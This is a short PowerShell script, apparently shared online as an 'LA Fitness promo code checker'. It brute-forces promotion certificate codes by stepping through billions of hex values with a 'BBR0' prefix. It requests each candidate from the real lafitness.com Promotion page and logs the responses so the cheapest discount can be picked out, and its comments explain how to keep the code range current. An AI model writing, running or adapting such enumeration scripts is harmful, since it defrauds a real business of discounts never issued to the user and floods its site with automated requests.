LA Fitness Promo code checker PowerShell script BBR code Cer

#LA Fitness promo code checker. Requires PowerShell. Runs and generates the response for all codes, then you search the results for the cheapest. Range of numbers should be updated weekly or monthly to the new min/max range (Convert hex to int, add trailing 0 when converting back to hex for this months range)
$intmin = 224728422269
$intmax = 230892759877


while($intmax -gt $intmin) {
    $hexmin = '{0:x}' -f $intmin

    $bbcert= "BBR0"+$hexmin #BBR03452DB977D
    $bbcert | Out-File "C:\Users\Administrator\Desktop\lafitness.csv" -Append
    $Response = Invoke-WebRequest http://www.lafitness.com/Promotion?bbcert=$bbcert

    $Response.Forms[0].Fields | Out-File "C:\Users\Administrator\Desktop\lafitness.csv" -Append
    Write-Output $bbcert

    $intmin++;
}